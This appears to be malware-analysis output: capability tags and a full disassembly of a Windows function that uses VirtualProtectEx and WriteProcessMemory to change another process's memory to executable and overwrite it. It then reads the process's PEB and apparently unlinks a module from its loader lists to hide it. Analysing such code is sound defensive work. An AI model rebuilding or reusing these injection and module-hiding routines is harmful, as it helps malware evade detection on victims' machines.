Function at 0x10002b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10009230
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1100
call fcn.10009090
mov eax, dword [0x1000e008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1108], edx
mov edi, ecx
mov dword [ebp - 0x1104], edi
mov esi, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x1110], esi
mov dword [ebp - 0x110c], eax
test edx, edx
je 0x10003164
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test dl, 1
je 0x10002c34
push 0x1000
lea eax, [ebp - 0x1018]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x101c], 0
lea eax, [ebp - 0x101c]
push eax
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x10002bfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x110c]
mov dword [ecx], eax
mov eax, 0xc
jmp 0x10003166
push 0
push 0x1000
lea eax, [ebp - 0x1018]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push edi
call eax
test eax, eax
jne 0x10002cce
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x110c]
mov dword [ecx], eax
mov eax, 9
jmp 0x10003166
test dl, 2
je 0x10002cd9
push str.kernel32.dll
call eax
mov dword [ebp - 0x103c], eax
test eax, eax
jne 0x10002c66
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x110c]
mov dword [ecx], eax
mov eax, 0x1b
jmp 0x10003166
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x101c], 0
push eax
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x10002be5
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x1000
push dword [ebp - 0x103c]
push esi
push edi
call eax
test eax, eax
je 0x10002c1c
lea eax, [ebp - 0x101c]
push eax
push dword [ebp - 0x101c]
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x10002be5
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp - 0x1108]
test dl, 4
je 0x10003164
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0
movups xmmword [ebp - 0x1038], xmm0
push 0x1000a350
movq qword [ebp - 0x1028], xmm0
mov dword [ebp - 0x1038], 0
mov dword [ebp - 0x1034], 0
mov dword [ebp - 0x1030], 0
mov dword [ebp - 0x102c], 0
mov dword [ebp - 0x1028], 0
mov dword [ebp - 0x1024], 0
mov dword [ebp - 0x1020], 0
call eax
mov dword [ebp - 0x103c], eax
test eax, eax
je 0x10002da8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtQueryInformationProcess
push eax
call esi
push str.NtQuerySystemInformation
push dword [ebp - 0x103c]
mov dword [ebp - 0x1024], eax
call esi
cmp dword [ebp - 0x1024], 0
mov dword [ebp - 0x1020], eax
je 0x10002da8
test eax, eax
je 0x10002da8
lea ecx, [ebp - 0x1038]
mov dword [ebp - 0x102c], 0x10000
mov dword [ebp - 0x1034], 0
call fcn.100054e0
mov dword [ebp - 4], 0
test edi, edi
je 0x10002e34
cmp dword [ebp - 0x1034], 0
jne 0x10002dcf
lea ecx, [ebp - 0x1038]
call fcn.100054e0
test al, al
je 0x10002e34
push edi
mov dword [ebp - 0x1028], edi
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, dword [ebp - 0x1038]
mov dword [ebp - 0x1108], eax
mov esi, dword [edx]
lea ecx, [esi + edx]
cmp ecx, edx
je 0x10002e15
mov edi, eax
cmp dword [edx + 0x44], edi
je 0x10002e09
add edx, esi
mov dword [ebp - 0x1038], edx
mov esi, dword [edx]
lea eax, [edx + esi]
cmp eax, edx
jne 0x10002df3
mov edi, dword [ebp - 0x1104]
mov eax, dword [ebp - 0x1108]
cmp dword [edx + 0x44], eax
je 0x10002e28
mov eax, dword [ebp - 0x1034]
mov dword [ebp - 0x1038], eax
jmp 0x10002e34
lea eax, [edx + 0xb8]
mov dword [ebp - 0x1030], eax
cmp dword [ebp - 0x1034], 0
je 0x10003184
lea eax, [ebp - 0x103c]
mov dword [ebp - 0x103c], 0
push eax
push 0x18
lea eax, [ebp - 0x10d0]
xorps xmm0, xmm0
push eax
push 0
push dword [ebp - 0x1028]
movups xmmword [ebp - 0x10d0], xmm0
movq qword [ebp - 0x10c0], xmm0
call dword [ebp - 0x1024]
test eax, eax
js 0x10003184
mov eax, dword [ebp - 0x10cc]
test eax, eax
je 0x10003184
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x1050]
push 0
push 0x10
push ecx
push eax
push dword [ebp - 0x1028]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1050], xmm0
call esi
test eax, eax
je 0x10003184
push 0x30
lea eax, [ebp - 0x1100]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1100]
push 0
push 0x30
push eax
push dword [ebp - 0x1044]
push dword [ebp - 0x1028]
call esi
test eax, eax
je 0x10003184
mov eax, dword [ebp - 0x10f0]
mov esi, dword [ebp - 0x10f4]
push 0x30
mov dword [ebp - 0x1108], eax
lea eax, [ebp - 0x1080]
push 0
push eax
mov dword [ebp - 0x1084], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1084]
push 0
push 0x34
push eax
push esi
push dword [ebp - 0x1028]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x1110]
cmp dword [ebp - 0x106c], eax
je 0x10002fa5
nop word [eax + eax]
cmp esi, dword [ebp - 0x1108]
je 0x10003184
mov esi, dword [ebp - 0x1084]
lea eax, [ebp - 0x1080]
push 0x30
push 0
push eax
mov dword [ebp - 0x1084], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1084]
push 0
push 0x34
push eax
push esi
push dword [ebp - 0x1028]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x1110]
cmp dword [ebp - 0x106c], eax
jne 0x10002f50
test esi, esi
je 0x10003184
push 0x30
lea eax, [ebp - 0x10b4]
mov dword [ebp - 0x10b8], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10b8]
push 0
push 0x34
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10002fe9
lea esi, [eax + 0xb]
jmp 0x10003189
mov esi, dword [ebp - 0x10a8]
lea eax, [ebp - 0x1040]
mov edi, dword [ebp - 0x10a4]
push 0
push 8
push eax
push esi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x103c], edi
push eax
push esi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
push eax
push edi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1040], esi
push eax
push edi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x10b8]
lea eax, [ebp - 0x1040]
mov edi, dword [ebp - 0x10b4]
push 0
push 8
push eax
push esi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x103c], edi
push eax
push esi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
push eax
push edi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1040], esi
push eax
push edi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x10b0]
lea eax, [ebp - 0x1040]
mov edi, dword [ebp - 0x10ac]
push 0
push 8
push eax
push esi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x103c], edi
push eax
push esi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
push eax
push edi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1040], esi
push eax
push edi
push dword [ebp - 0x1104]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x1034]
test eax, eax
je 0x10003164
push eax
call fcn.1000829d
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10008286
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov esi, 8
mov eax, dword [ebp - 0x1034]
test eax, eax
je 0x1000319c
push eax
call fcn.1000829d
add esp, 4
mov eax, esi
jmp 0x10003166